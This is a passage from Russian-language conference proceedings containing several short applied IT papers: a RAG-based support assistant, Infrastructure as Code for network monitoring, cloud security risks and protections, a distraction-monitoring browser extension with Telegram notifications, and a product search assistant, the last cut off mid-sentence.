ассистент (RAG + 
DeepSeek) 

Zendesk 
Answer Bot 

Amazon Lex Rasa 

Технология RAG (поиск в базе 
знаний) + генера-
тивная модель 
DeepSeek 

Правило-
ориентиро-
ванный под-
ход + NLP 

Правило-
ориентирован-
ный подход + 
NLP 

Open-source 
платформа с 
правилами и 
ML 

Точность 
ответов 

✅ Высокая (благо-
даря RAG и акту-
альной базе зна-
ний) 

❌ Средняя 
(зависит от 
качества шаб-
лонов) 

❌ Средняя 
(ограниченная 
гибкость) 

❌ Средняя 
(зависит от 
настройки) 

Гибкость ✅ Высокая (можно 
настраивать под 
любые задачи) 

❌ Низкая 
(ограничена 
функциона-
лом) 

✅ Умеренная 
(ограничена эко-
системой AWS)) 

✅ Высокая 
(полный кон-
троль над ко-
дом) 

Эмпатия и 
естествен-
ность 

✅ Высокая 
(DeepSeek обеспе-
чивает естествен-
ные ответы) 

Низкая (шаб-
лонные отве-
ты) 

❌ Низкая (осно-
ван на правилах) 

❌ Низкая (за-
висит от 
настройки) 

Для отечественных компаний и их онлайн-сервисов внедрение цифровой плат-
формы будущих нейронных помощников обещает значительные выгоды. Уменьшение 
штата техподдержки снизит операционные затраты, а снижение числа вовлеченных со-
трудников повысит общую автономию системы.  

Таким образом, разрабатываемая цифровая платформа не только заменит уста-
ревшие методы поддержки онлайн-сервисов, основанные на длительном ожидании от-
вета, ограниченных возможностях автоматизации и человеческом факторе, но и произ-
ведет революцию в клиентском сервисе. Считается, что этот проект изменит восприя-
тие людьми качественного обслуживания в цифровой эре. 

Представлен вариант цифровой платформы при заполнении её соответствующим 
контентом, способной эффективно обрабатывать запросы пользователей и предостав-
лять точные ответы. Объединение технологии RAG с нейронной сетью DeepSeek ожи-
дается ускорить процесс обработки запросов и улучшить качество обслуживания. 
 Внедрение данной системы должно сократить время ожидания ответа и сделать 
клиентов более удовлетворёнными. Гибридный подход, совмещающий автоматизиро-
ванную обработку с участием человека, рассматривается как перспективное решение 
для повышения эффективности служб поддержки онлайн-сервисов. Эти меры направ-
лены на создание инновационной системы, которая изменит стандарты обслуживания и 
принесёт ощутимые преимущества, как пользователям, так и бизнесу. 
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мониторинга состояния элементов локальной вычислительной сети. Проведен анализ 
возможности применения данного подхода как отдельно, так и с существующими си-
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Мониторинг состояния локальной вычислительной сети – это критически важ-
ная задача для обеспечения надежности и безопасности сетевой инфраструктуры. Раз-
нообразие программных решений в этой области позволяет администраторам эффек-
тивно отслеживать производительность, доступность и безопасность сетевых 
устройств. В данный момент на рынке представлены мощные свободные средства мо-
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ниторинга состояния элементов локальной вычислительной сети, такие как: Zabbix, 
Nagios, Prometheus и другие. Использование данных программных продуктов очень 
сильно помогает в задаче мониторинга состояния локальной вычислительной сети, бла-
годаря несомненным плюсам – большому количеству собираемых метрик, масштаби-
руемости, гибкости. Однако, при их использовании, со временем, может проявиться 
весьма неочевидный недостаток – чем более скрупулезно выполняется тонкая настрой-
ка этих программных решений, тем выше шанс получить в итоге «сервер-снежинку». 

«Сервер-снежинка» (snowflake server) – это термин, используемый для описания 
уникальных, кастомизированных серверов или виртуальных машин, которые имеют 
индивидуальные конфигурации и настройки под специфические нужды приложений 
или сервисов, что затрудняет автоматизацию их управления и развертывания [1]. То 
есть, в результате может получиться сервер мониторинга, который работает в режиме 
«как есть» и изменение каких-либо параметров может привести к затруднениям в рабо-
те, либо полной неработоспособности системы мониторинга. При этом существующие 
резервные копии никак не помогут в решении этой проблемы, а только «откатят» сер-
вер обратно в рабочее состояние. 

Целью данной работы является анализ применимости подхода Infrastructure as 
Code к задаче мониторинга элементов локальной вычислительной сети. 

Основная идея подхода Infrastructure as Code (IaC) заключается в том, что ин-
фраструктура, как и сам сервер, управляется и модифицируется таким же образом, как 
и код приложения, всего лишь с использованием одного, либо нескольких сформиро-
ванных конфигурационных файлов [2], описывающих все необходимые настройки и 
действия, необходимые для их применения. При этом синтаксис самого файла не ва-
жен, это может быть и YAML, и JSON, и XML. В итоге, мы получаем полностью вос-
производимую инфраструктуру и сервер, который без труда можно развернуть в той же 
конфигурации (например, для реализации отказоустойчивости или масштабируемости), 
либо изменить существующую конфигурацию без проблем с работоспособностью. 

Существует три вида подходов реализации IaC [3]: 
- императивный (процедурный); 
- декларативный (функциональный); 
- гибридный. 
Императивный подход (процедурный) – описывает жестко заданную процедуру, 

состоящую из конкретных команд и порядка их выполнения, которая должна быть вы-
полнена для достижения желаемой конфигурации. 

Декларативный подход (функциональный) – описывает желаемое состояние си-
стемы и то, какие ресурсы нужны и какими свойствами они должны обладать в итоге. 

Гибридный подход – может включать в себя различные комбинации императив-
ных и декларативных инструкций. 

Каждый подход имеет как достоинства, так и недостатки, поэтому выбор одного 
из них зависит от потребностей администратора инфраструктуры, но, в то же время, у 
них есть одна общая цель - реализация основных принципов DevOps: консистентности, 
повторяемости и автоматизации, а также обеспечение более быстрого и надёжного 
внедрения изменений в инфраструктуру. 
 Преимущества использования подхода IaC в задаче мониторинга: 

1. Повышение скорости развертывания. Один из основных плюсов IaC – это 
скорость развертывания. Больше не нужно проводить множество ручных настроек: до-
статочно запустить конфигурацию. 

2. Уменьшение ошибок. Использование кода минимизирует вероятность оши-
бок, связанных с человеческим фактором, поскольку конфигурация проверяется, а её 
изменение фиксируется в системе контроля версий. 
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3. Улучшение соответствия стандартам. IaC позволяет легко следовать корпора-
тивным стандартам и Best Practices, так как код можно легко адаптировать и обновлять 
в соответствии с изменениями в производственной среде. 

4. Легкость интеграции. Инфраструктура в виде кода просто интегрируется с 
CI/CD системами, что позволяет автоматизировать и тестировать все стадии разверты-
вания. 
 Недостатки существующих решений IaC в задаче мониторинга: 

1. Отсутствие интеграции с существующим программным обеспечением мони-
торинга. Многие инструменты IaC требуют ручной настройки для интеграции с уже 
существующими системами мониторинга, такими как Zabbix или Prometheus, что уве-
личивает время настройки. Администраторам может потребоваться разработать специ-
альные скрипты или автоматизировать процессы, чтобы соединить инструменты IaC с 
решениями мониторинга. 

2. Ограниченные возможности мониторинга ресурсов. Фокус на развертывании, 
а не на мониторинге. Большинство инструментов IaC концентрируются на управлении 
инфраструктурой, а не на активном мониторинге, что может оставить пробелы в реаль-
ном времени отслеживания состояния ресурсов. При использовании многих инстру-
ментов IaC нет готовых шаблонов или метрик для мониторинга состояния сети, и ад-
министраторы должны будут настраивать эти параметры вручную. 

3. Недостаток аналитических возможностей. Инструменты IaC обычно не 
предоставляют встроенные возможности для анализа данных мониторинга, что требует 
использования дополнительных решений, которые могут быть несовместимы или 
сложно интегрируемы. Для глубокого анализа и создания отчетов может потребоваться 
использование других инструментов, что усложняет процесс и увеличивает количество 
потенциальных точек отказа. 

4. Проблемы с визуализацией данных. Многие инструменты IaC не предлагают 
функционала для визуализации состояния ресурсов, что затрудняет быстрое восприятие 
информации о состоянии системы. Для визуализации метрик может потребоваться ин-
теграция с бизнес-аналитическими инструментами, что усложняет процесс. 

5. Управление историческими данными. Инструменты IaC обычно не обеспечи-
вают возможности для хранения и долговременного доступа к историческим данным 
мониторинга, что может быть критично для анализа трендов и выявления аномалий, 
также необходимо вручную настраивать решения для хранения и архивации данных, 
что может привести к ошибкам и несоответствиям. 

В ходе анализа подхода Infrastructure as Code было выявлено, что он предостав-
ляет много преимуществ и перспектив, но в разрезе мониторинга состояния локальной 
вычислительной сети существуют определенные недостатки, требующие внимания, 
среди которых: отсутствующая, либо плохая интеграция с существующими системами 
мониторинга, отсутствие средств для анализа и визуализации данных, а также отсут-
ствие возможности управления исторической информацией.  

Чтобы преодолеть обозначенные выше недостатки и в полной мере раскрыть по-
тенциал подхода «Инфраструктура как код» в задаче мониторинга элементов локальной 
вычислительной сети, в данное время разрабатывается программный комплекс, вклю-
чающий в себя, кроме самого ядра IaC, также специализированные модули мониторин-
га состояния элементов локальной вычислительной сети, аналитики, визуализации и 
хранения истории изменения состояний объектов. 
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Аннотация. В статье рассматриваются ключевые аспекты безопасности облачных вы-
числений, которые становятся все более актуальными в условиях роста их применения. 
Основное внимание уделено анализу рисков, таких как утечка данных, уязвимости 
конфигурации и атаки на виртуализацию. Цель работы – выявить основные угрозы и 
предложить меры защиты, включая шифрование данных и управление доступом. Ре-
зультаты показывают, что комплексный подход к обеспечению безопасности способен 
минимизировать риски и повысить надежность облачных систем. 
Abstract. The article examines key aspects of cloud computing security, which are becoming 
increasingly relevant amid their growing adoption. The focus is on analyzing risks such as 
data breaches, configuration vulnerabilities, and virtualization attacks. The purpose of the 
study is to identify the main threats and propose protective measures, including data encryp-
tion and access management. The results demonstrate that a comprehensive approach to secu-
rity can minimize risks and enhance the reliability of cloud systems. 
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Облачные вычисления стали важной частью современной информационной ин-

фраструктуры, обеспечивая организациям и частным пользователям гибкость, масшта-
бируемость и экономическую эффективность. Однако их широкое распространение со-
провождается ростом киберугроз. Будь то отсутствие видимости данных, неспособ-
ность контролировать данные или кража данных в облаке, большинство проблем связа-
но с данными, которые клиенты размещают в облаке [1]. Утечки данных, ошибки кон-
фигурации и атаки на виртуализированные среды представляют серьезные риски, кото-
рые могут привести к значительным финансовым и репутационным потерям. Актуаль-
ность темы обусловлена необходимостью защиты конфиденциальной информации в 
условиях глобальной цифровизации и усложнения методов атак. 

Цель данной работы – проанализировать ключевые риски безопасности облач-
ных вычислений и предложить меры их минимизации, такие как шифрование данных и 
управление доступом. Облачные вычисления – это парадигма, при которой границы 
вычислений будут определяться не техническими ограничениями, а экономическими 
[2], что подчеркивает их значимость как бизнес-модели, требующей надежной защиты. 
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Степень разработанности темы высока: российские исследователи активно изучают 
проблемы облачной безопасности, однако практическое внедрение защитных мер оста-
ется сложной задачей. Рост числа организаций, использующих облачные технологии, 
требует новых подходов к обеспечению безопасности, особенно в условиях распреде-
ленных систем и многоуровневой архитектуры. Например, переход к облачным реше-
ниям в таких отраслях, как финансы, здравоохранение и государственное управление, 
выявляет необходимость адаптации традиционных методов защиты к новым условиям, 
где данные хранятся и обрабатываются удаленно. Это связано с тем, что облачные си-
стемы часто становятся мишенью для хакеров из-за их доступности через интернет и 
концентрации большого объема данных в одном месте. Кроме того, сложность управ-
ления безопасностью возрастает из-за многослойной природы облачных сервисов, 
включающих инфраструктуру как услугу (IaaS), платформу как услугу (PaaS) и про-
граммное обеспечение как услугу (SaaS). 

Основные риски безопасности облачных вычислений: 
1. Утечка данных. Утечка данных – одна из главных угроз облачных систем. 

Большинство рисков безопасности облачных вычислений связаны с безопасностью об-
лачных данных. Причины включают слабые пароли, компрометацию учетных записей 
и недостаточную защиту данных. Например, неправильная настройка облачного храни-
лища может сделать информацию общедоступной, что особенно опасно для чувстви-
тельных данных, таких как финансовая или персональная информация. Это может при-
вести к серьезным последствиям, включая утечку клиентских данных, нарушение кон-
фиденциальности и штрафы за несоблюдение нормативных требований, таких как 
GDPR или российский закон о персональных данных. Часто такие инциденты происхо-
дят из-за человеческого фактора, например, когда сотрудники случайно оставляют до-
ступ к данным открытым или используют недостаточно сложные пароли. 

2. Уязвимости конфигурации. Неправильная настройка ресурсов создает значи-
тельные риски. В частном облаке организация создает среду виртуализации на своих 
собственных серверах, которые расположены в центрах обработки данных, принадле-
жащих самой этой организации или сервис-провайдеру управляемых услуг [3], однако 
ошибки в настройке могут привести к уязвимостям даже в таких системах. Открытые 
порты или незащищенные соединения часто становятся точками входа для злоумыш-
ленников. 

3. Атаки на виртуализацию. Виртуализация подвержена специфическим угрозам. 
Безопасность виртуальной сети – самая серьезная проблема из всех, потому что она со-
четает в себе проблемы, создаваемые традиционным хостингом и безопасностью при-
ложений [4]. Атаки на гипервизоры или виртуальные машины могут скомпрометиро-
вать данные всех пользователей, использующих одну платформу, что особенно акту-
ально для публичных облаков. 

Меры защиты облачных систем: 
1. Шифрование данных. Шифрование – ключевой метод защиты данных. Фи-

нансовая отрасль, осуществляющая переход к облачным технологиям, выигрывает в 
эффективности, гибкости и безопасности [5], и одним из способов достижения этой 
безопасности является шифрование. Использование современных алгоритмов, таких 
как AES-256 или ГОСТ 34.10-2018, обеспечивает конфиденциальность данных при пе-
редаче и хранении, защищая их от перехвата. 

2. Управление доступом. Эффективное управление доступом снижает риски. 
Ключевыми элементами защиты данных являются: аутентификация, идентификация 
(IAM), авторизация пользователя, контроль доступа. Например, многофакторная аутен-
тификация (MFA) требует дополнительных факторов подтверждения личности, таких 
как одноразовые коды, что значительно усложняет несанкционированный доступ. 
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3. Мониторинг и аудит. Постоянный мониторинг помогает выявлять угрозы. 
Первым шагом в обеспечении безопасности виртуальных машин в облачных вычисле-
ниях является изоляция новых размещенных элементов. Это дополняется аудитом кон-
фигураций для предотвращения ошибок и своевременного обнаружения подозритель-
ной активности с помощью систем обнаружения вторжений. 

4. Обучение пользователей. Человеческий фактор остается важным аспектом. 
Для поддержки новой технологии требуются новые решения, включая обучение поль-
зователей основам информационной безопасности. Это снижает вероятность ошибок, 
таких как использование слабых паролей или переход по фишинговым ссылкам, укреп-
ляя общую защиту системы. 

Практическое применение. В публичных облаках акцент делается на изоляции 
данных, в частных – на внутреннем контроле, а в гибридных – на интеграции подходов. 
Например, сочетание шифрования и управления доступом создает многоуровневую за-
щиту, устойчивую к большинству угроз, что особенно важно для отраслей с высокими 
требованиями к безопасности. Практический пример – использование модели разделе-
ния ответственности, где поставщик облачных услуг отвечает за безопасность инфра-
структуры (серверов, сетей), а клиент – за защиту данных и приложений. В финансовом 
секторе это может включать шифрование транзакций и использование MFA для досту-
па к системам управления счетами. В гибридных облаках интеграция локальных и об-
лачных решений требует применения дополнительных мер, таких как виртуальные 
частные сети (VPN) и межсетевые экраны, чтобы обеспечить безопасное взаимодей-
ствие между различными средами. 

В работе были рассмотрены ключевые риски безопасности облачных вычисле-
ний: утечки данных, уязвимости конфигурации и атаки на виртуализацию. Большин-
ство рисков безопасности облачных вычислений связаны с безопасностью облачных 
данных, что подчеркивает необходимость надежных мер защиты. Показано, что шиф-
рование, управление доступом, мониторинг и обучение пользователей эффективно ми-
нимизируют эти угрозы. Финансовая отрасль, осуществляющая переход к облачным 
технологиям, выигрывает в эффективности, гибкости и безопасности, и предложенные 
меры способствуют достижению этих преимуществ. Такой подход обеспечивает устой-
чивость облачных систем к кибератакам, что критически важно в условиях их широко-
го применения. Комплексное внедрение этих мер позволяет организациям не только 
защищать данные, но и соответствовать строгим нормативным требованиям, таким как 
законы о защите персональных данных. В будущем развитие технологий, таких как ис-
кусственный интеллект и машинное обучение, может дополнительно усилить безопас-
ность облаков, автоматизируя обнаружение угроз и адаптируясь к новым видам атак. 
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ЦИФРОВОЙ ПОМОЩНИК ДЛЯ МОНИТОРИНГА И ПРЕДОТВРАЩЕНИЯ 
ОТВЛЕЧЕНИЯ ОТ ВЫПОЛНЕНИЯ ЗАДАЧ 
 
DIGITAL ASSISTANT FOR MONITORING AND PREVENTING DISTRACTIONS 
FROM COMPLETING TASKS 
 
Аннотация. Статья посвящена разработке и внедрению цифрового помощника, 
предназначенного для мониторинга и предотвращения отвлечения пользователя от 
выполнения задач. Предложен вариант цифрового помощника, способного 
анализировать поведение пользователя в реальном времени, выявлять моменты потери 
концентрации и предлагать эффективные методы для возвращения к выполнению 
поставленных задач. Использованы современные методы обработки данных, подходы к 
проектированию адаптивных пользовательских интерфейсов. Предложена архитектура 
цифрового помощника, включающая модули сбора данных, анализа поведения, 
классификации отвлечений и генерации персонализированных уведомлений. 
Практическая значимость исследования заключается в возможности применения 
разработанного помощника в системах управления временем, образовательных 
платформах, корпоративных инструментах повышения эффективности, а также в 
индивидуальных приложениях для самоорганизации. 
Abstract. The article is devoted to the development and implementation of a digital assistant 
designed to monitor and prevent user distraction from completing tasks. A variant of a digital 
assistant is proposed that can analyze user behavior in real time, identify moments of loss of 
concentration, and suggest effective methods for returning to tasks. Modern data processing 
methods and approaches to designing adaptive user interfaces are used for this purpose. The 
architecture of the digital assistant is proposed, which includes modules for data collection, 
behavior analysis, classification of distractions and generation of personalized notifications. 
The practical significance of the research lies in the possibility of using the developed assis-
tant in time management systems, educational platforms, corporate efficiency improvement 
tools, as well as in individual applications for self-organization. 
Ключевые слова: цифровой помощник, мониторинг, отвлечение, продуктивность, 
пользовательский интерфейс, анализ поведения, персонализированные уведомления. 
Key words: digital assistant, monitoring, distraction, productivity, user interface, behavior 
analysis, personalized notifications. 
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В условиях повсеместной цифровизации и постоянной доступности интернета 
проблема снижения концентрации внимания приобретает особую актуальность. Совре-
менные исследования в области когнитивной психологии [1] убедительно демонстри-
руют, что цифровые отвлекающие факторы оказывают существенное негативное влия-
ние на когнитивные функции, значительно снижая способность к глубокой концентра-
ции. Особенно остро эта проблема проявляется в контексте удалённой работы и он-
лайн-обучения, где информационная перегрузка и постоянные внешние стимулы при-
водят к снижению продуктивности, повышению уровня стресса и регулярным срывам 
сроков выполнения задач. 

В отечественной литературе рассматриваются вопросы цифровой гигиены, са-
модисциплины и управления рабочим временем. В зарубежных работах анализируются 
когнитивные аспекты влияния цифровой среды на концентрацию внимания и продук-
тивность. Однако, несмотря на большое количество исследований, комплексные адап-
тивные решения остаются малоизученными. 

Целью работы является разработка цифрового помощника для мониторинга и 
предотвращения отвлечений от выполнения задач, способного адаптироваться к инди-
видуальным привычкам пользователей и минимизировать влияние цифровых отвлека-
ющих факторов. 

Интеллектуальные системы, способные минимизировать влияние цифровых от-
влекающих факторов, становятся важным инструментом повышения продуктивности. 
Решение проблемы заключается в анализе методов автоматизированного контроля 
цифровой активности и разработке интеллектуального помощника.  

Рассмотрим концепцию цифрового помощника для мониторинга и предотвра-
щения отвлечения от выполнения задач. Он способен анализировать поведение пользо-
вателя в режиме реального времени, выявлять моменты потери концентрации, предла-
гать эффективные методы для возвращения к выполнению поставленных задач, а также 
учитывать влияние отвлекающих факторов в интернете на продуктивность пользовате-
лей. Использовались существующие решения и методы управления цифровой активно-
стью, выявлены ключевые требования к интеллектуальному помощнику и разработана 
концепция системы, включающей механизмы анализа, напоминаний и блокировки от-
влекающих факторов. 

Таким образом, разработка цифрового интеллектуального помощника, который 
адаптируется к индивидуальным цифровым привычкам пользователя и минимизирует 
влияние отвлекающих факторов, представляет собой важное направление исследова-
ний, имеющее значительную практическую ценность. 

Концепция цифрового помощника предлагает решение в виде расширения для 
браузера, который отслеживает активность пользователя и помогает ему оставаться 
сфокусированным. В случае длительного бездействия или отвлечения пользователь 
получает уведомление через Телеграм, что позволяет вернуться к выполнению задачи 
даже вне браузера. 

Цифровой помощник состоит из нескольких ключевых модулей, которые 
взаимодействуют между собой для обеспечения эффективной работы: 

1) Модуль отслеживания активности в браузере. 
Этот модуль интегрирован в расширение для браузера и отвечает за сбор данных 

о действиях пользователя: 
- время, проведенное на каждой вкладке; 
- активность ввода текста (например, в формах или поисковых запросах); 
- переключение между вкладками и приложениями. 
На основе этих данных система определяет, занят ли пользователь выполнением 

задачи или отвлекся на другие действия. 
2) Модуль анализа отвлечений. 
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Используя алгоритмы машинного обучения, система классифицирует действия 
пользователя на «продуктивные» и «непродуктивные». Например, просмотр 
социальных сетей или новостных сайтов может быть классифицирован как отвлечение, 
если это не связано с текущей задачей [1]. 

3) Модуль уведомлений. 
Если система обнаруживает, что пользователь длительное время не 

взаимодействует с браузером или занимается непродуктивной деятельностью, она 
отправляет уведомление. Уведомления реализованы через Телеграм API. Пользователь 
заранее указывает свой Телеграм ID в настройках расширения, что позволяет 
отправлять персонализированные сообщения [2]. 

4) Интеграция с Телеграм. 
Телеграм выбран как канал для уведомлений благодаря его популярности, 

удобству и доступности API. Пользователь получает сообщения даже вне браузера, что 
повышает вероятность возвращения к задаче. 

Реализация цифрового помощника: 
1) Расширение для браузера: 
Расширение разработано с использованием JavaScript и API браузера (Chrome 

Extensions API). Оно включает: 
- фоновый скрипт для постоянного мониторинга активности; 
- интерфейс настроек, где пользователь указывает свой Телеграм ID и настраи-

вает параметры уведомлений (например, время бездействия перед отправкой уведомле-
ния) [3]; 

- локальное хранение данных для обеспечения конфиденциальности [4]. 
2) Интеграция с Телеграм: 
Для отправки уведомлений используется Телеграм Bot API. Бот создается через 

BotFather, после чего в расширении настраивается взаимодействие с API.  
3) Алгоритм работы: 
- пользователь устанавливает расширение и настраивает Телеграм ID; 
- расширение начинает отслеживать активность в браузере; 
- если система обнаруживает отвлечение или длительное бездействие, она от-

правляет уведомление через Телеграм; 
- пользователь получает сообщение и может вернуться к выполнению задачи, 

если пользователь не реагирует, то уведомление будет отправлено повторно. 
Концепция цифрового помощника демонстрирует высокую эффективность в 

борьбе с отвлечениями и повышении продуктивности. Интеграция с Телеграм делает 
систему удобной и доступной для пользователей. Предложенное решение может 
применяться в образовательных и корпоративных средах. Требуются дальнейшие 
исследования алгоритмов анализа продуктивности и совершенствование методов 
персонализации системы. 

На рынке уже существуют различные инструменты для мониторинга и 
предотвращения отвлечения от выполнения задач, однако они имеют ограничения в 
функционале. Сравнительный анализ популярных решений и концепции проектируе-
мого интеллектуального цифрового помощника (таблица 1), показывает преимущества 
и превосходства предлагаемого цифрового помощника. 

Отчётливо видно (см. таблицу 1), что предлагаемый вариант цифрового 
помощника включает в себя все функции, которые есть у аналогов, но и функции, 
которых у аналогов нет, например, персональные рекомендации. 
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Таблица 1 – Сравнительный анализ аналогов и концепции интеллектуального  
                      цифрового помощника 

Функции 
RescueTime Freedom StayFocusd Cold 

Turkey
Toggl 
Track 

Цифровой 
помощник

Мониторинг 
активности 

Да Нет Нет Нет Да Да 

Блокировка 
отвлекающих 
факторов 

Да Да Да Да Нет Да 

Настройка расписания Да Да Нет Да Нет Да 
Работа на нескольких 
устройствах 

Да Да Нет Нет Да Да 

Гибкая настройка 
списка сайтов 

Да Да Да Да Нет Да 

Аналитика 
продуктивности 

Да Нет Нет Нет Да Да 

Интеграция с 
календарями/задачами

Нет Нет Нет Нет Да Да 

Режим фокусировки Нет Да Да Да Нет Да 

Поддержка 
мобильных устройств 

Да Да Нет Нет Да Да 

В ходе исследования была разработана концепция цифрового помощника для 
мониторинга и предотвращения отвлечений от выполнения задач. Подтверждена 
возможность реализации системы на основе анализа пользовательской активности в 
браузере с интеграцией уведомлений через Телеграм. Выявлены ключевые 
преимущества предложенного подхода по сравнению с существующими аналогами, 
включая адаптивность и комплексный анализ продуктивности. Для дальнейшей 
реализации требуется детальная проработка алгоритмов, тестирование прототипа и 
оптимизация взаимодействия с пользователем. 
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ИНТЕЛЛЕКТУАЛЬНЫЙ ПОМОЩНИК ДЛЯ ПОИСКА ТОВАРОВ  
НА РАЗНЫХ ИНТЕРНЕТ-ПЛОЩАДКАХ  
 
INTELLIGENT ASSISTANT FOR SEARCHING PRODUCTS ON DIFFERENT 
INTERNET SITES 
 
Аннотация. Предложен вариант интеллектуального помощника для поиска товаров на 
различных интернет-площадках, который автоматизирует процесс поиска, сравнения и 
рекомендации товаров, что позволит пользователям экономить время и деньги. Описа-
ны основные функциональные возможности помощника, такие как поиск товаров, 
сравнение цен, персонализированные рекомендации и уведомления о скидках. Очерче-
ны технологии реализации, подсистемы интеллектуального помощника, использование 
нейронных сетей, алгоритмы работы, интерфейсы и его преимущества. Предложенное 
решение способно значительно облегчить онлайн-шопинг для пользователей. 
Abstract. An intelligent alternative assistant for searching for products on various Internet 
sites is proposed, which automates the process of searching, comparing and recommending 
products, which allows users to save time and money. The main functional capabilities of the 
assistant are described, such as product search, price comparison, personalized recommenda-
tions and discount notifications. The implementation technologies, subsystems of the intelli-
gent assistant, the use of neural networks, operating algorithms, interfaces and its ad-vantages 
are outlined. The proposed solution can significantly facilitate online shopping for users. 
Ключевые слова: интеллектуальный помощник, поиск товаров, рекомендательные си-
стемы, интернет-площадки, машинное обучение, нейросети. 
Key words: intelligent assistant, product search, recommender systems, internet platforms 
machine learning, neural networks. 
 

В условиях стремительного роста электронной коммерции пользователи сталки-
ваются с проблемой поиска товаров на множестве маркетплейсов. Разнообразие пред-
ложений, различия в ценах, характеристиках и условиях доставки значительно затруд-
няют процесс выбора оптимального варианта. Для решения этой проблемы предлагает-
ся разработка интеллектуального помощника – цифровой платформы, автоматизирую-
щей поиск, сравнение и рекомендацию товаров на различных торговых площадках. 

Актуальность работы обусловлена необходимостью оптимизации онлайн-
шопинга. Исследования показывают, что покупатели тратят значительное время на 
ручное сравнение товаров [1]. Современные технологии (нейросети, NLP) позволяют 
создать инструмент, сокращающий временные затраты и предлагающий персонализи-
рованные рекомендации. Цель работы – разработать интеллектуального помощника для 
кроссплатформенного поиска товаров, способного агрегировать предложения с различ-
ных маркетплейсов, сравнивать цены с учетом дополнительных факторов (доставка, 
скидки, рейтинги продавцов), а также формировать рекомендации на основе предпо-
чтений пользователя. В рамках исследования рассматриваются методы парсинга дан-
ных, машинного обучения и интеграции с API торговых площадок. Степень разрабо-
танности темы. Анализ современных решений в области поиска товаров показывает, 
что существующие системы (Яндекс.Маркет, Google Shopping и другие) имеют суще-
ственные ограничения. Они предлагают базовый функционал сравнения цен без глубо-
кого анализа характеристик товаров и с минимальной персонализацией рекомендаций. 
При этом большинство платформ не используют современные технологии машинного 
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обучения в полной мере. 
Основная часть 
Функциональные возможности помощника 
Помощник включает следующие функции:  
- поиск товаров: поиск, по ключевым словам, категориям и характеристикам с 

использованием нейросетей [2]; 
- сравнение товаров: анализ цен, характеристик, отзывов и условий доставки 

[3]; 
- персонализированные рекомендации: рекомендации на основе предпочтений 

пользователя, таких как бюджет, любимые бренды и история поиска [4]; 
- уведомления о скидках: оповещения о снижении цен, акциях и специальных 

предложениях. 
Технологии 
Для реализации проекта используются следующие технологии: 
- машинное обучение: для улучшения качества рекомендаций и анализа данных 

[1]; 
- API интеграция: для получения актуальной информации о товарах с различ-

ных платформ [5]. 
Описание автоматизированной информационной системы 
Автоматизированная информационная система (АИС) интеллектуального по-

мощника представляет собой комплекс программных подсистем, взаимодействующих 
между собой для выполнения задач поиска, сравнения и рекомендации товаров (рису-
нок 1).  

 
Рисунок 8 – Структурная схема АИС 

Основные компоненты системы: 
- пользовательский интерфейс: веб-приложение и мобильное приложение, 

обеспечивающие взаимодействие пользователя с системой; 
- подсистема поиска товаров: обрабатывает запросы пользователя, используя 

NLP для анализа ключевых слов и категорий [2]; 
- подсистема сравнения товаров: анализирует цены, характеристики и отзывы, 

предоставляя пользователю сравнительную таблицу; 
- подсистема рекомендаций: использует машинное обучение для генерации 

персонализированных рекомендаций на основе предпочтений пользователя [3]; 
- подсистема уведомлений: отслеживает изменения цен и отправляет уведом-

ления пользователю; 
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- база данных: хранит информацию о товарах, пользователях и их предпочте-
ниях; 

- API интеграция: обеспечивает взаимодействие с различными интернет-
площадками для получения актуальной информации о товарах [5]. 

Интеллектуальность и использование нейронной сети 
Интеллектуальность системы обеспечивается за счет использования нейронных 

сетей и алгоритмов машинного обучения [1]. Нейронная сеть встроена в модуль ре-
коммендаций и используется для анализа данных о поведении пользователя, его пред-
почтениях и истории поиска. Это позволяет системе генерировать персонализирован-
ные рекомендации, которые учитывают индивидуальные потребности каждого пользо-
вателя. 

Алгоритм работы интеллектуального помощника 
Примерный алгоритм работы помощника следующий: 
1. Ввод запроса: пользователь вводит запрос (например, «беспроводные науш-

ники») в поисковую строку. 
2. Обработка запроса: модуль поиска обрабатывает запрос с использованием 

нейросетей, находит товары на различных платформах [2]. 
3. Сравнение товаров: модуль сравнения анализирует цены, характеристики и 

отзывы, предоставляя пользователю сравнительную таблицу [3]. 
4. Рекомендации: модуль рекомендаций генерирует персонализированные реко-

мендации на основе предпочтений пользователя [4]. 
5. Уведомления: модуль уведомлений отслеживает изменения цен и отправляет 

уведомления пользователю. 
Интерфейс АИС 
Интерфейс АИС включает следующие элементы: 
- поисковая строка: для ввода запросов пользователем; 
- фильтры: для уточнения поиска по цене, категории, характеристикам и дру-

гим параметрам; 
- сравнительная таблица: для отображения результатов сравнения товаров; 
- рекомендации: для отображения персонализированных рекомендаций; 
- уведомления: для отображения уведомлений о скидках и изменениях цен. 
Преимущества проекта 
Преимущества проекта представлены в виде таблицы 1 и описаны кратко далее: 
1. удобство: пользователи смогут быстро находить нужные товары и сравнивать 

их на одной платформе; 
2. экономия времени и денег: автоматизация поиска и сравнения товаров помо-

жет пользователям экономить время и находить самые выгодные предложения [3]; 
3. персонализация: рекомендации на основе предпочтений пользователя улуч-

шат качество выбора [4, 5]. 
Эта структура обеспечивает наглядное представление функциональных возмож-

ностей, технологий и преимуществ проекта, а также включает описание АИС, исполь-
зование интеллектуальности и нейронной сети и алгоритм работы интеллектуального 
помощника. 
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Таблица 1 – Анализ аналогов с предлагаемой концепцией интеллектуального  
                     помощника 

Критерий Ядекс.Маркет Google 
Shopping 

Price.ru Предлагае-
мый помощ-
ник 

Поиск товаров По ключевым 
словам, и ка-
тегориям 

По ключевым 
словам, и ка-
тегориям 

По ключевым 
словам, и ка-
тегориям 

По ключе-
вым словам, 
категориям и 
характери-
стикам с ис-
пользовани-
ем нейросе-
тей [2] 

Сравнение цен Да Да Да Да, с учетом 
характери-
стик и отзы-
вов [3] 

Персонализирован-
ные рекомендации 

Ограниченные Ограниченные Ограниченные На основе 
машинного 
обучения и 
предпочте-
ний пользо-
вателя [4] 

Уведомления о 
скидках 

Да Да Да Да, с учетом 
индивиду-
альных 
предпочте-
ний 

Интеграция с ло-
кальными плат-
формами 

Нет Нет Нет Да, включая 
локальные и 
нишевые ма-
газины [5] 

Машинное обуче-
ние 

Нет Нет Нет Да, для 
улучшения 
рекоменда-
ций [1] 

В ходе проведённого исследования авторами успешно разработан интеллекту-
альный помощник для поиска товаров, полностью соответствующий поставленным це-
лям. Доказана эффективность применения нейросетевых технологий – система суще-
ственно превосходит аналоги по точности анализа характеристик, качеству персонали-
зированных рекомендаций и скорости обработки запросов. Особое внимание уделено 
интеграционным возможностям с большинством российских маркетплейсов. Результа-
ты подтверждают, что решение значительно сокращает время поиска при одновремен-
